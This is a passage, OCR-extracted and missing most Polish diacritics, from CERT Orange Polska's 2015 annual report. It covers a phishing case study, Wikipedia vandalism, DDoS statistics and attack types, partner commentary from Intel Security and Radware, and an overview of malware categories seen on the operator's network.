cuje z administratorami powiazanych z nimi serweréw
celem zablokowania ich dla catej sieci internet.

Oprocz tradycyjnego phishingu, tj. hostowania fat-
szywej strony internetowej wyludzajacej dane, coraz
czesciej spotykane sa maile zawierajace dokumen-
ty udajace faktury, rachunki czy dokumenty sadowe.
Odpowiednie wezwanie do dziatania (postraszenie
uzytkownika konsekwencjami) skutkuje otwarciem za-
tacznika i instalacja zlosliwego oprogramowania, kto-
re w kolejnym kroku dostarczy informacje przestepcy
w momencie logowania i/lub podawania poufnych da-
nych badz np. podmieni numer konta docelowego przy
wysylaniu przelewu.

5.1. Case study - atak phishingowy na uzytkownikéw ustug Orange Polska
oraz oszustwa zwigzane z ustugg SMS Premium (lipiec 2015)

Pod koniec lipca CERT Orange Polska otrzymat od jed-
nego z klientéw informacje o problemach z dostepem
do internetu i wyswietlaniu podejrzanej strony. W wy-
niku analizy okazato sie, ze problem byt spowodowa-
ny przejeciem kontroli nad urzadzeniem dostepowym
abonenta (zakupionym poza siecia sprzedazy Orange
Polska) i dokonaniem jego modyfikacji. W efekcie ata-
kujacy dokonat podmiany adresu uzywanego serwera
DNS, co pozwolito na wyswietlenie strony phishingo-
wej bez jakiejkolwiek ingerencji uzytkownika (tzw.
pharming). W wyniku dalszej analizy okazato sie, iz
na tej samej maszynie byla dostepna réwniez strona
phishingowa podszywajaca sie pod Orange - wyswie-
tlajaca fatszywa strone internetowa informujaca o ko-
niecznosci wystania SMS-a Premium dla odblokowania
dostepu do internetu (rysunek 2.). Przyczyna blokady
miato by¢ rzekome naruszenie praw autorskich. Wy-
stanie wiadomosci skutkowato obciazeniem ofiary na
kwote ponad 20 zi brutto.

W oszustwie byly wykorzystywane réwniez inne nume-
ry Premium SMS, zas skala procederu to ok. kilkadzie-

sigt wystanych SMS-ow oraz kilkaset przejetych mode-
mow (spoza sieci sprzedazy Orange Polska).

Tak niewielki wptyw byt efektem podjetych przez CERT
oraz inne komorki Orange Polska dziatan, takich jak
m.in.:

zablokowanie dla uzytkownikéw sieci Orange Pol-
ska potaczen falszywych serweré6w DNS oraz strony
phishingowej,

interwencja dotyczaca zablokowania rozpowszech-
niania strony phishingowej,

przekazanie wskazowek i zalecen dla konsultantéw
Infolinii Orange Polska,

blokada na prosbe OPL serwisu SMS Premium wyko-
rzystywanego w procederze oraz zwrot abonentom
kosztow, ktore poniesli, wysytajac SMS przy uzyciu
strony phishingowej,

ztozenie zawiadomienia do organéw scigania.

T s —
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Rysunek 2. Strona wyludzajagca SMS Premium pod pozorem odblokowania dostepu

5.2. Case study - wandalizm na stronach Wikipedii (sierpien 2015)

W sierpniu mieliSmy do czynienia z kolejnym w ostat-
nich latach przypadkiem wandalizmu dotyczacym Wi-
kipedii, ktérego zrédtem byt jeden z abonentéw ustug
Orange Polska. Uporczywe naruszenia polegaty przede
wszystkim na famaniu zasad ogdlnie przyjetych w sie-
ci internet oraz zakitdécaniu dziatan innych uzytkow-
nikéw. Byly to m.in. zamiany tresci artykutéw, czesto
na obrazliwe (o tresciach propagujacych nazizm lub
wulgarnych), oraz niezwigzane z tematem edycje ha-
set Wikipedii. W efekcie aktywnosci wandala Wikipedia
ograniczyta dostep do anonimowej edycji haset Wiki-
pedii ponad 500 tysigcom klientéw ustugi Neostrada.

Orange Polska reagowato kazdorazowo po otrzymaniu
zgtoszenia od administratorow Wikipedii i wspéipra-
cujac ze zglaszajacymi, podejmowato dziatania w sto-
sunku do abonenta. Analiza aktywnosci wandala osta-
tecznie data Orange Polska podstawy do rozwiazania
umowy ze skutkiem natychmiastowym, sprawa zostata
réwniez zgtoszona organom scigania. W konsekwencji
podjetych dziatan oraz wspétpracy ze Stowarzysze-
niem Wikimedia mozliwos¢ anonimowej edycji haset
Wikipedii zostata odblokowana dla klientéw Orange
Polska.
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5.3. Okiem partnera - Intel Security

Rok 2015 przyniést duza aktywnosé cyberprzestep-
cow, ktorzy skupili sie na kilku gtéwnych obszarach
dziatalnosci. Trzy z nich mialy najwiekszy wptyw na co-
dziennos$¢ uzytkownikow internetu.

Po pierwsze staty wzrost prébek mobilnego ziosliwe-
go oprogramowania. W ciagu catego roku ich liczba
zwigkszyla sie¢ az o 81%! Oznacza to, ze cyberprze-
stepcy wykorzystuja wciaz rosnaca popularnosé urza-
dzen mobilnych i zmieniajaca sie¢ w niestety znacznie
wolniejszym tempie swiadomosé¢ ich uzytkownikow
w zakresie zagrozen i zwigzanej z nimi koniecznosci
zabezpieczania danych. Ofiarami coraz czesciej pa-
daja tez uzytkownicy bankowosci mobilnej. Dwumie-
sieczna analiza prawie 300 tysiecy aplikacji mobilnych
przeprowadzona przez McAfee Labs ujawnita dwa tro-
jany w obszarze bankowosci mobilnej, ktére doprowa-
dzity do nieuprawnionego wykorzystania tysiecy kont
bankowych w Europie Wschodniej.

Nie bez znaczenia dla bezpieczenstwa danych zgro-
madzonych na urzadzeniach mobilnych jest takze
podejscie twércow aplikacji. Analitycy McAfee Labs
w raporcie z lutego 2015 roku przeanalizowali poziom
bezpieczenstwa najpopularniejszych aplikacji mobil-
nych i pokazali ewolucje cyberzagrozen. Z raportu wy-
nikato, ze az w 18 z 25 popularnych aplikacji mobilnych,
ktorych podatnosci zgtoszono we wrzesniu 2014 roku,
producenci nie wprowadazili istotnych poprawek!

Po drugie ransomware. Badania McAfee Labs pokazu-
ja, ze swiat wciaz musi sie mierzy¢ z tego typu atakami
wykorzystujacymi oprogramowanie szyfrujace dane na
zainfekowanym komputerze. Obszar ransomware roz-
wija sie w zawrotnym tempie - catkowita liczba prébek
tego typu oprogramowania w zbiorze malware osrodka
McAfee Labs wzrosta w ciggu 2015 roku o 155%!

Po trzecie - ataki na sieci firmowe z wykorzystaniem
najstabszego ogniwa, czyli pracownika bombardowa-
nego e-mailami phishingowymi. Wyniki testu przepro-
wadzonego w 2015 roku przez Intel Security wsréd
19 tysiecy uzytkownikéw ze 144 krajow pokazaly, ze
niemal nikt z nas nie potrafi prawidiowo zidentyfiko-
wacé wszystkich wiadomosci phishingowych! To ozna-
cza, ze jestesmy na co dzien narazeni na atak ze strony
cyberprzestepcow.

Ten trend bedzie sie utrzymywal, a nawet wzmagat
w kolejnych latach. Przewidujemy, ze organizacje beda
nieprzerwanie pracowac¢ nad doskonaleniem zabez-
pieczen, wdraza¢ najnowsze technologie, zatrudniaé
utalentowanych i doswiadczonych ekspertéw, tworzyé
skuteczne procedury i zachowywacé czujnosé. W efek-
cie wiec celem coraz wigkszej liczby atakow stana sie
pracownicy, ktérych mniej zabezpieczone systemy do-
mowe moga umozliwi¢ dostep do sieci firmowych.

Piotr Boetzel
Territory Account Manager w Intel Security

W efekcie wiec celem coraz
wiekszej liczby atakow stana
sie pracownicy, ktorych mniej
Zzabezpieczone systemy
domowe moga umozliwic
dostep do sieci firmowych.
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Ataki odmowy dostepu

do ustugi (Distributed Denial
of Service - DDoS) sa jednymi
z najprostszych I najbardziej
popularnych atakow na sie¢
lub system komputerowy

(np. aplikacje, ustugi),

a zarazem jednymi z bardziej
niebezpiecznych i groznych
w skutkach.

6. Ataki DDoS

Ataki odmowy dostepu do ustugi (Distributed Denial of
Service - DDoS) sa jednymi z najprostszych i najbardziej
popularnych atakéw na sieé lub system komputerowy
(np. aplikacje, ustugi), a zarazem jednymi z bardziej nie-
bezpiecznych i groznych w skutkach. Ich gtéwnym ce-
lem jest utrudnienie badz uniemozliwienie korzystania
z oferowanych przez zaatakowany system ustug siecio-
wych i w efekcie paraliz infrastruktury ofiary.

Atak taki polega zazwyczaj na zalewaniu (ang. flo-
oding) atakowanego obiektu odpowiednio sprepa-
rowanymi wywotaniami. Kazdemu z nich atakowany
obiekt przydziela pamieé, czas procesora czy pasmo
sieciowe, co przy odpowiednio duzej liczbie zadan pro-
wadzi do wyczerpania dostepnych zasobow, a w efek-
cie do przerwy w dziataniu lub nawet zawieszenia badz
uszkodzenia systemu. W przypadku ataku na facze
sieciowe celem zazwyczaj jest zajecie catej dostepnej
przepustowosci tacza.

6.1. Ryzyka zwiazane z atakami DDoS

Ataki DDoS ograniczaja badz blokuja dostep do zaso-
bow sieciowych (co jest istotne, w szczegdlnosci gdy
naleza one do podmiotéw swiadczacych ustugi online).
W konsekwencji moze to doprowadzi¢ do utraty repu-
tacji oraz duzych strat finansowych i wizerunkowych.
Cechuja je rowniez:

m katwos¢ i niska cena. Cze$¢ narzedzi do DDoS jest
dostepna za darmo, zas na czarnym rynku ,ustuga”
DDoS kosztuje kilka/kilkanascie dolarow. Wystarczy
nawet kilkuminutowy atak (czesto dostepny za dar-
mo w ramach ,testu”), by uniemozliwi¢ wykonanie
transakcji w okreslonym czasie, zablokowaé¢ dostep
do ustugi w krytycznym momencie czy wylogowac
gracza z gry online podczas e-sportowych rozgrywek.

= Trudnos$é przeprowadzenia efektywnej obrony, ktéra
polega giéwnie na ciaglym monitorowaniu i szybkiej
reakcji na wykryte ataki. Te zas charakteryzuja sie
duza zmiennoscia i réznorodnoscia, rowniez w zakre-
sie wykrywania stabych punktoéw celu, i dynamicznie
zmieniaja technike ataku. Nieprzygotowana i zasko-
czona atakiem DDoS ofiara zazwyczaj nie ma szans
na obrone badz jedynie zachowuje jej pozory (np. re-
startujac aplikacje, serwery czy urzadzenia sieciowe).

= Trudnosé identyfikacji rzeczywistego zrodta ataku,
gdyz najczesciej adresy zrédiowe sa zafatszowane
(tzw. spoofing).

m Fakt wykorzystywania ich jako atakow pozorowa-
nych, a w rzeczywistosci umozliwiajacych... prze-
puszczenie ztosliwego ruchu (np. dzieki wylaczeniu
DDoS-owanych firewalli). DDoS moze réwniez mie¢
na celu ukrycie posrod milionéw pakietéw znamion
wiamania i nieautoryzowanego uzyskania dostepu do
serwerow zaatakowanej organizaciji.

Nieprzygotowana, zaskoczona atakiem DDoS ofiara
nie ma w wiekszosci przypadkéw mozliwosci obrony
badz tez potencjalne srodki obrony sa tylko pozorne
i nie prowadza do petnego przywrécenia ustugi. Odcie-
cia atakowanego serwisu od sieci nie mozna nazwac
srodkiem zaradczym, skoro witasnie to byto celem ata-
kujacego.

6.2. Statystyki

W 2015 roku CERT Orange Polska zidentyfikowat 68 641
alertow DDoS (ostrzezen o ruchu noszacym znamiona
ataku) dotyczacych sieci ustlugowej Orange Polska, co
daje srednio ok. 6 tysiecy alertow miesiecznie. Na po-
nizszych wykresach widzimy ich podziat miesieczny ze
wzgledu na poziom krytycznosci (wykres 4.) oraz roz-
ktad procentowy (wykres 5.).

Notowany od lipca spadek liczby alertéw jest zwiazany
ze zmiana metody ich obstugi w systemie monitoruja-
cym ruch sieciowy. Obecnie w jednym alercie oznacza-
ne sa rézne typy ataku, wiec ich sumaryczna liczba jest
mniejsza w poréwnaniu z liczba z ubiegtego roku. Je-
den przypadek ataku moze tez dotyczyé kilku alertow
(choéby ze wzgledu na wystepowanie tzw. false positi-
ve - klasyfikacji prawidtowego ruchu jako anomalii),
zas w niektdrych przypadkach infrastruktura sieciowa
potrafi rozproszy¢ prébe bez udziatu specjalistycznych
rozwiazan, wtedy zabraknie go w statystykach alertow.
Z powyzszych wzgledow progi alarmowe dla informaciji
o potencjalnym zagrozeniu sg ustawione na relatywnie
wysokim poziomie.

Czestos¢é wystepowania atakow DDoS na przestrzeni
ostatnich lat jednak nie maleje. Rozktad alertéw pod
wzgledem ich krytycznosci w roku 2015 jest podobny
jak we wczesniejszych latach — wykres 5. Ten aspekt
jest zalezny od wolumenu ruchu oraz czasu jego trwa-
nia. Alert sklasyfikowany jako wysoki najczesciej ma
istotny wplyw na dostepnos¢ ustug, zas te o pozio-
mach srednim i niskim ograniczaja dostepnos¢ ustug
jedynie w specyficznych warunkach.

= UDP Fragmentation. Fragmentacja pakietéw UDP,
tj. wysytanie duzych pakietéw (powyzej MTU 1500).
Dla przestania przez sie¢ duzych pakietéw musza
one zostac podzielone do rozmiaru MTU, a nastepnie
potaczone przez atakowany system. Ta koniecznosé
w znacznym stopniu wykorzystuje zasoby procesora.

= Reflected DDoS. Wysytanie krétkich zapytan do urza-
dzen sieciowych, gdzie atakujacy podszywa sie pod
maszyne ofiary. Urzadzenia docelowe odpowiadaja
pakietami kierowanymi na adres pochodzacy z fat-
szywego nagléwka, a ofiara jest zalewana olbrzymia
liczba pakietéw z wielu hostéw. Najczesciej wyko-
rzystuja podatnosci protokotéw bazujacych na UDP,
m.in. DNS, SNMP, CHARGEN, NTP czy SSDP. W przy-
padku ataku rozproszonego méwimy o DrDoS, czyli
Distributed Reflection DoS.

= UDP/ICMP Flood. Zalewanie atakowanego hosta pa-
kietami UDP/ICMP wysyfanymi z wielu przejetych ho-
stow/urzadzen (botow).

= SYN Flood / TCP RST / NULL. Zalewanie atakowane-
go hosta pakietami TCP z ustawiona flaga synchro-
nizacji (SYN), resetowaniem potaczenia (RST) lub bez
flagi (NULL).

W roku 2015, podobnie jak w poprzednim, najczesciej
wystepujacymi rodzajami atakéw byly obok UDP Frag-
mentation ataki Reflected DDoS przy uzyciu protokotow
UDP (DNS, NTP, SSDP, CHARGEN, SNMP) - wykres 6.
W tej sytuacji wykorzystywana jest podatnosé UDP na
spoofing, co pozwala na wystanie pakietu IP z podmie-
nionym adresem zrodiowym, w wyniku czego odpo-
wiedz o duzo wigkszym rozmiarze niz zapytanie trafia
pod zadeklarowany fatszywy adres bedacy celem ataku.
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Upowszechniona w ubiegtym roku metoda wzmacnia-
nia atakéw DDoS réwniez teraz miesci sie w niechlub-
nej Scistej czotéwce. Najczesciej wykorzystywane byly
niepoprawnie skonfigurowane serwery czasu (NTP
- Network Time Protocol), protokét SSDP (Simple Servi-
ce Discovery Protocol, wykrywa urzadzenia Universal
Plug and Play) oraz otwarte serwery DNS. Technika ta
pozwala na efektywne ataki wolumetryczne, bowiem
odpowiedz zZle skonfigurowanego serwera/ustugi moze
byé do kilkuset razy wieksza od zapytania!

Ponizej przedstawiono przyktadowe charakterystyki ru-
chu DDoS na analizowanych taczach Orange Polska (na
porcie 123 — wykres 7., 1900 — wykres 8., 53 — wykres 9.).

Jak widaé¢ na wykresach ruch wychodzacy (out) jest
znikomy w poréwnaniu z ruchem wchodzacym (in), co
obrazowo dokumentuje poziom wzmocnienia przy ata-
kach Reflected DDoS. Moze réwniez dowodzi¢ wyko-
rzystania podatnych urzadzen klientéw podiaczonych
do sieci Orange Polska, co obrazuje wykres przedsta-
wiajacy charakterystyke ruchu na porcie 1900 (SSDP),

Wykres 8. Charakterystyka ruchu na porcie 1900

wykazujacy wyrazny spadek ruchu wychodzacego
w kwietniu. To efekt wprowadzonych przez Orange
Polska zabezpieczen polegajacych na rekonfiguraciji
urzadzen sieciowych.

Co wiecej, uzycie tej techniki powoduje zwiekszenie
sity ataku bez znacznego zwigekszania zasobéw ata-
kujacego, tym samym nie wymaga posiadania kontroli
nad duzymi zasobami atakujacymi (botnetem). Wystar-
cza lista podatnych urzadzer/serwerow i proste skryp-
ty do przeprowadzenia ataku, co znacznie minimalizuje
jego koszty. Czestos¢ stosowania obecnie tego typu
techniki w atakach DDoS to efekt licznego wystepowa-
nia podatnych serweréw/urzadzen w sieci.

CERT Orange Polska zaleca, by:
= wylaczyé niepotrzebne ustugi sieciowe,

= nie udostepniaé ustugi wszystkim uzytkownikom, je-
$li nie jest to konieczne,

m korzystac¢ z mozliwie najnowszej wersji protokotu.

27



Raport CERT Orange Polska za rok 2015

domain (53) ®domain (53)

25

20

ruch (Gbps)

Wykres 9. Charakterystyka ruchu na porcie 53

6.3. Sila oraz czas trwania atakow
DDoS

Srednia wielko$é szczytowego natezenia ataku DDoS
odnotowana przez CERT Orange Polskato ok. 1,1 Gbps,
natomiast najwieksza odnotowana wartos¢ nateze-
nia ruchu w szczycie ataku to ok. 46 Gbps/16 Mpps.
W 2015 roku nie byliSmy swiadkami rekordowo duzych
atakow, jesli chodzi o natezenie ruchu, rosnie jednak
ich wielko$¢é — w 2014 roku srednia wielko$¢ szczyto-

owyzej 10 [l 1,2%
s-10 [ 2.9%
.

(Gbps)

volumen atakow

wego natezenia ataku osiagneta ok. 900 Mbps. Wzrost
sity atakéw to efekt nie tylko szybszych faczy interne-
towych, ale tez przystepnych cenowo atakéw DDoS na
czarnym rynku oraz wspominanych powyzej technik
wzmochnionego odbicia. Wielko$¢é ruchu generowane-
go w atakach DDoS obserwowana przez CERT Orange
Polska w roku 2015 w rozktadzie procentowym przed-
stawiono na wykresie 10.

22,0%

29,4%

Wykres 10. Wolumen atakéw DDoS zaobserwowanych w sieci Orange Polska

Z kolei wiekszos¢ zarejestrowanych alertéw, podob-
nie jak w 2014 roku, trwata ponizej 10 minut, natomiast
Sredni czas trwania wszystkich zarejestrowanych aler-
tow to ok. 23 minuty (nieznaczny wzrost w poréwnaniu
z ubieglym rokiem). Czas trwania atakéw DDoS w roku
2015 w rozktadzie procentowym przedstawiono na wy-
kresie 11.

Pomimo wzrostu s$redniego czasu trwania alertu
w 2015 roku - na co mogto wplynaé kilka odnotowa-
nych atakéw trwajacych bez przerwy kilka dni — od kilku
lat utrzymuje sie tendencja dywersyfikacji celéw ataku
polaczona ze skracaniem czasu ich trwania. Krétko-
trwate ataki sa bolaczka dla form ochrony przed DDoS
zaktadajacych uruchomienie mitygaciji po kilku/kilkuna-
stu minutach ciagtego ataku. Cho¢ istnieje wiele metod

powyiej 60 - 4,6%
30-60 - 4,3%

1530 ] 2.0%

czas trwania alertu (minuty)

ochrony przed DDoS, duze ataki wolumetryczne moga
zostaé zmitygowane jedynie na poziomie ISP badz przy
wsparciu specijalistycznych firm ,ukrywajacych” chro-
nione serwisy za swoja infrastruktura. W takiej sytuacji
ograniczenie skutkéw nastepuje dzieki geograficzne-
mu rozproszeniu weziéw, filtrowaniu ztosliwego ruchu
oraz taczom o duzej przepustowosci. Dla ochrony wia-
snhej sieci korporacyjnej przed DDoS Orange Polska
uzywa dedykowanych rozwiazan czotowych producen-
téw, a takze korzysta z mozliwosci blokowania adreséw
potwierdzonych jako zrédio atakow albo ograniczenia
dostepu do atakowanych zasobow. Szczegoly dotycza-
ce ustug komercyjnych (w tym DDoS Protection oraz
testéw obciazeniowych - sprawdzanie wytrzymatosci
sieci na ataki) mozna znalez¢ w rozdziale 12.

6.4. Okiem partnera - Radware

Wielowektorowe ataki

Obecnie ataki DDoS to zaawansowane i dtugo trwaja-
ce kampanie. Co wiecej, atakujacy zmieniaja wektory
w sposoéb seryjny w zaleznosci od mitygacji, co pro-
wadzi do bardziej inteligentnych, zautomatyzowanych
atakéw. Kazdego roku atakujacy znajduja nowe wek-
tory atakow, takie jak Portmappery, mDNS czy RIPv1.
Nalezy miec¢ réwniez na uwadze wzrost atakéw moty-
wowanych okupem w 2015 roku (wzrost do 25% z 16%
w 2014 roku), a takze ogdlny wzrost szyfrowanych ata-
kéw (wykorzystujacych poitaczenia szyfrowane). Do-
swiadczanie tych atakéw nie jest zalezne od wielkosci
firmy lub jej przychoddéw, co jedynie dowodzi, ze nikt
nie jest odporny na nurt tego typu atakow.

Wielkos$¢ ataku: czy to ma znaczenie?

W 2015 roku mniej niz 1 na 10 atakow na serwery za-
kwalifikowano jako bardzo duzy (10 Gbps i wiecej)
- wykres 12. Najczesciej ataki byly ponizej tego progu.
Liczba atakow w przedziale od 10 Mbps do 100 Mbps
wzrosta w 2015 roku o 25% (w poréwnaniu z 7%
w 2014 roku), podczas gdy liczba atakéw w zakresie
od 100 Mbps do 1 Gbps spadta do 15% (w poréwnaniu
z 25% w 2014 roku).

udziat procentowy

Wykres 11. Czas trwania atakéw DDoS

Rysunek 3. przedstawia 10 branz wchodzacych w Cy-
ber-Attack Ring of Fire. Biate strzatki odzwierciedlaja
zmiany w stosunku do zeszlego roku - co oznacza, ze
catkowita liczba cyberatakéw, a takze ich czestotli-
wos¢ i intensywnosé wzrosty w roku 2015. Kilka branz
zachowato staly poziom zagrozenia, podczas gdy za-
rowno edukacja jak i hosting przemiescily sie ze sred-
niego na wysoki poziom ryzyka.

Przewidywania na 2016 rok
#1: APDoS jako Standardowa Procedura Operacyjna

Advanced Persistent DoS (APDoS) stana sie prefero-
wana technika haktywistéw. Ataki APDoS dotycza ma-
sowych atakéw DDoS, od atakowania warstwy siecio-
wej do skupienia sie na warstwie aplikacyjnej. Po tych
atakach nastepuja wielokrotne ataki typu SQLI i XSS,
ktore wystepuja w réznych odstepach. Sprawcy ata-
kéw APDoS moga réwnoczesnie korzystaé z dwéch
lub nawet pieciu wektorow atakow, z udziatem nawet
do kilkudziesieciu milionéw zapytan na sekunde.

#2: Kontynuaja wzrostu ataké6w RDoS

Ransomware oraz RansomDoS (RDoS) beda nadal
wplywaé na wszystko, poczawszy od tradycyjnych
przedsigbiorstw po firmy w chmurze.
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Wykres 12. Wielko$¢ atakéw DDoS wg Radware

#3: Nadejscie atakéw Permanent Denial-of-Service
(PDoS)

PDoS, znany rowniez jako phlashing, jest atakiem,
ktory uszkadza system w takim stopniu, ze niezbed-
na jest reinstalacja lub wymiana sprzetu. Poprzez
wykorzystanie luk bezpieczenstwa lub btedéw kon-
figuracyjnych, PDoS moze zniszczy¢ oprogramowa-
nie urzadzenia i/lub podstawowe funkcje systemu.
W przypadku atakéw na oprogramowanie urzadzenia
atakujacy moze wykorzystaé podatnosci w celu wy-
miany podstawowego oprogramowania urzadzenia
na zmodyfikowany, uszkodzony lub wadliwy obraz
oprogramowania — proces, ktéry gdy przebiega zgod-
nie z prawem, znany jest jako flashing.

Rysunek 3. Cyber-Attack Ring of Fire

#4: Internet Zombi (Internet of Zombies)

Bezpieczenstwo urzadzen ,Internetu Rzeczy” (Internet
of Things - loT) jest fatalne — a dane beda naruszane
w szybszym tempie niz w jakiekolwiek innej grupie
technologii. Przystosowanie technologii jest tu sprawa
najwyzszej wagi, a bezpieczenistwo wyraznie odiozono
na dalszy plan. Urzadzenia te stanowia element podat-
ny na naruszenia prywatnosci, a rok 2016 tylko uwy-
datni ryzyka zwigzane z tym bogatym zrédiem danych,
przeksztalcajac Internet Rzeczy w niebezpieczny Inter-
net Zombi.

Werner Thalmeier
Director Security Solutions EMEA & CALA w Radware

Obecnie ataki DDoS

to zaawansowane i diugo

trwajace kampanie.
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Rok 2015 stat pod znakiem
cyberbezpieczenstwa coraz
czesciej trafiajacego do mediow
gtownego nurtu.

7. Malware, czyli narzedzie w rekach przestepcy

Rok 2015 stat pod znakiem cyberbezpieczenistwa co-
raz czesciej trafiajacego do mediéw gtéwnego nurtu.
Jako pierwszy poczuciem bezpieczenstwa zwyklych
uzytkownikow internetu wstrzasnat atak na firme Sony
Pictures Entertaiment, ktéry rozpoczat sie w grudniu
2014 roku. W wielu lokalizacjach firma zostata zmuszo-
na do wytaczenia catych sieci, zas do internetu wyciekly
wewnetrzne maile pracownikéw Sony, ich dane wraz-
liwe (w tym numery ubezpieczenia spotecznego, adre-
sy domowe czy wysokos¢é wynagrodzen). W kolejnych
miesigcach na tamy mediéw tematyka bezpieczenstwa
trafiata gtéwnie po atakach ISIS, m.in. na twitterowe
konto Dowoddztwa Centralnego USA czy infrastrukture
telewizyjnej stacji TV5.

Istotnych zdarzen nie zabrakto réwniez w Polsce. Na-
silona mniej wiecej w potowie roku kampania mailin-
gowa, gdy nadawcy m.in. fatszywych faktur podszywali
sie pod banki, telekomy, sklepy internetowe czy poczte,
skutecznie zachecita do poswiecenia wigkszej uwagi
zabezpieczeniu operacji wykonywanych w internecie.
Jej efektem sa takze dziatania Orange Polska, ktére po-
zwolily na rozszerzenie zakresu wykrywania zagrozen
sieciowych, czy wprowadzenie CyberTarczy, a w efek-
cie obnizenie podatnosci sieci klienckiej na cyberataki.

Jakie szkody moze nam wyrzadzi¢ ztosliwe oprogra-
mowanie nazywane réwniez malware (od angielskiego
malicious software)?

= Kradziez poufnych danych, w tym loginéw, haset, nu-
merow kont, kart ptatniczych czy danych osobowych.

= Niszczenie naszych danych badz uzyskanie do nich
dostepu.

u Przejecie dostepu do komputera, np. w celu wyko-
rzystania go w operacjach cyberprzestepczych lub
do atakéw DDoS.

= Przekierowanie ruchu sieciowego na podstawione
strony, pozwalajace np. na skierowanie transakciji
ptatniczych na podstawiony numer konta bankowego.

u Pozprzestrzenianie sie na inne systemy i urzadzenia.

Zaden malware nie wykonuje wszystkich funkgji jed-

noczesnie, dlatego mozna wyrézni¢ sposrod nich na-

stepujace typy:

m backdoor - zapewnia dostep do zainfekowanego sys-
temu,

= exploit — wykorzystuje luki w oprogramowaniu syste-
mu w celu przejecia kontroli nad dziataniem procesu,

m keylogger - rejestruje informacje wprowadzane za
pomoca klawiatury/myszy,

m rootkit - maskuje ztosliwe oprogramowanie w celu
ominiecia zabezpieczen systemowych,

= trojan - rozprzestrzenia w systemie ofiary inne ztosli-
we programy i funkcje,

= worm - infekuje jak najwieksza liczbe maszyn, roz-
przestrzeniajac si¢ pomiedzy nimi,

= wirus - replikuje sie w systemie operacyjnym uzyt-
kownika i infekuje w zaleznosci od typu m.in sektory
dyskowe, pliki z danymi oraz pliki wykonywalne.

CERT Orange Polska uzyskuje informacje na temat no-
wych zagrozen z urzadzen bezpieczenstwa rozmiesz-
czonych w réznych punktach sieci klienckiej. Probki
zlosliwego oprogramowania sa szczegétowo analizo-
wane w kontekscie dziatan wykonywanych na zainfe-
kowanym urzadzeniu oraz metod prewencji.

7.1. Malware na platformy
stacjonarne

Obejmujaca caly rok 2015 analize aktywnosci ztosliwe-
go oprogramowania w sieci Orange Polska wykonano
w grupie liczacej 25 tysiecy uzytkownikow ustug ADSL
(gtéwnie prywatni uzytkownicy Neostrady — wykres 13.)
oraz Internet DSL (gtéwnie mate i Srednie podmioty go-
spodarcze - wykres 14.).

Od poczatku roku, zwltaszcza w przypadku tacz uzyt-
kownikoéw sieci Neostrada, zaobserwowano gwattowny
wzrost liczby zdarzen Infection Match (infekcje w czasie
rzeczywistym przez pobranie zlosliwego oprogramowa-
nia badz uruchomienie ztosliwego kodu osadzonego na
odwiedzanej witrynie). Od momentu majowego urucho-
mienia CyberTarczy liczba ta zauwazalnie sie zmniejszy-
fa, ustepujac miejsca zdarzeniom typu Malware Callback
(préby sieciowych potaczen wykonywanych przez mal-
ware zainstalowany na urzadzeniu uzytkownika). W ten
sposob zlosliwe oprogramowanie usituje skontaktowac
sie z serwerem Command & Control w celu pobrania
instrukciji sterujacych, przestania wykradanych danych
czy instalacji dodatkowego oprogramowania. Nie jest
to jednak jedyne kryterium do scharakteryzowania tego
typu zdarzen. W celu utrudnienia identyfikacji ztosliwe
oprogramowanie nawigzujace potaczenia typu callback
moze tez generowaé szereg niegroznych zapytan do
internetu, kierowa¢ komunikacje do Command & Con-
trol (C&C) posrednio przez podstawione serwery z do-
men DDNS czy tez przez adresy innych zainfekowanych
w danej podsieci urzadzen.

Ostatni typ zdarzen to Domain Match, czyli zapytania
o nazwe domeny uzywanej do lokalizacji Command &
Control (C&C). W zestawieniu nie przekraczaja srednio
kilkuprocentowej wartosci, gdyz komunikacja ztosli-
wego oprogramowania z dynamicznym ciagiem loso-
wych znakéw nazwy domen, do ktérych przypisany
jest serwer C&C, zostata wiaczona w strukture zdarzen
Malware Callback.

W przypadku zdarzen z sieci IDSL réoznice sa mniej
zauwazalne. Zaobserwowane zwigkszenie liczby zda-
rzen Infection Match w stosunku do Malware Callback
wynika zaréwno z nasilajacych sie¢ kampanii phishin-
gowych, jak i niskiej skutecznosci aplikacji zabezpie-
czajacych urzadzenia klienta konncowego.

Powyzsze dwa wykresy przedstawiaja aktywnosé
TOP 5 najpopularniejszego ztosliwego oprogramowa-
nia odpowiednio dla sieci ADSL (wykres 15.) i IDSL (wy-
kres 16.) w 2015 roku. Pod uwage wzieto liczbe unikal-
nych potaczen zidentyfikowanych jako callback.

Najwieksza aktywnosé w sieci klientow indywidual-
nych przejawia grupa zdarzen Local.Callback, tj. pota-
czenia zwrotne niepowigzane ze sklasyfikowanym zio-
sliwym oprogramowaniem, wykrytym w trakcie okresu
monitorowania. Sktad TOP 5 podkresla rosnaca liczbe
atakow na uzytkownikoéw indywidualnych, ukierunko-
wana na kradziez o charakterze finansowym.

W stosunku do ubiegtego roku zmiany nastapity réw-
niez w rozkiadzie atakow na sie¢ Internet DSL. Do-
minujaca role, zwlaszcza w poczatkowych okresach
miesiaca, przejat callback ZeroAccess, ktéry wykorzy-
stujac techniki rootkitowe, potrafi by¢ niewykrywalny
dla wiekszosci antywiruséw.
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m Infection Match
" Malware Callback

Domain Match

Wykres 13. Typy zdarzen zwiazanych ze ztosliwym oprogramowaniem w sieci ADSL

o Infection Match
" Malware Callback

Domain Match

Wykres 14. Typy zdarzen zwigzanych ze ztosliwym oprogramowaniem w sieci IDSL

Powyzsze wykresy w przeciwienstwie do poprzednich
dwéch prezentuja TOP 5 wszystkich zrodet infekciji
wykrytych w sieci klientow DSL (w sieci ADSL — wy-
kres 17. , zas w sieci IDSL - wykres 18.). Swoim za-
siegiem obejmuja zatem nie tylko zdarzenia typu call-
back, ale takze grupy infekcji w czasie rzeczywistym,
do ktérych zaliczamy akcje pobierania niebezpieczne-
go oprogramowania czy wykonywania ztosliwego kodu
podczas pofaczenia z zainfekowana witryna.

Do zdarzen Local.Callback oraz Trojan.Expiro dla klien-
tow Neostrady dotaczyly malware zwiazane z infekcja
w czasie rzeczywistym, tj. Malware.Binary, Malicious.
URL oraz dominujacy Exploit.Kit dedykowany do wy-

korzystywania podatnosci w aplikacjach systemowych
Windowsa oraz platform Unix/Linux.

Opisy prezentowanego malware’u wykrytego na bada-

nej prébce:

= Local.Callback - potaczenia do centrum sterowania
niemajace cech charakterystycznych dla specyficz-
nej rodziny malware’u.

= Trojan.Expiro - grupa koni trojaniskich charakteryzuja-
ca sie polimorficzna struktura kodu zrédtowego przy
zachowaniu zblizonej do siebie funkcjonalnosci. Ich
